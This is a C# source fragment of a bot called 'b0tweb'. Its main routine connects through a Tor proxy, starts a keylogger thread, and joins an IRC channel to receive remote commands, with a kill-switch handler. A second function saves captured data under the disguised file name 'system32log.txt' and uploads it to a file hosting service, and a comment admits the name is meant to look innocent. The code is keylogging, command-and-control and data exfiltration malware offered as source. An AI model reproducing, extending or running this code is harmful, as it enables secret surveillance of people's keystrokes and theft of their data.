/// <summary> /// Default main function to start the program. /// </summary> /// <param name="args">The command line arguments.</param> public static void Main(string[] args) { // Check if the old version is still stored. FileHelper.DeleteFile(FileHelper.GetBinaryOldPath()); Console.WriteLine("Welcome to the b0tweb"); TorProxy proxy = new TorProxy(); proxy.Establish(); Thread keyloggerThread = Keylogger.Run(); Thread.Sleep(5); // wait for connection to be established Console.WriteLine("Connection to Tor successfuly established!"); IRCConnectionController controller = new IRCConnectionController(); controller.AddMessageHandler(new KillSwitchHandler(controller.Nick)); controller.AddMessageHandler(new CommandMessageHandler(controller.Nick)); controller.Join(Program.Channel); controller.Listen(); proxy.Disconnect(); }
/// <summary> /// Uploads the data to file hosting service /// </summary> /// <param name="content">data string to upload</param> /// <returns>url to the uploaded file</returns> public static string UploadString(string content) { // Totally not a shady name string path = FileHelper.GetTemporaryFilePath("system32log.txt"); using (StreamWriter writer = new StreamWriter(path)) { writer.WriteLine(content); } string url = HTTPHelper.Upload(path); FileHelper.DeleteFile(path); return(url); }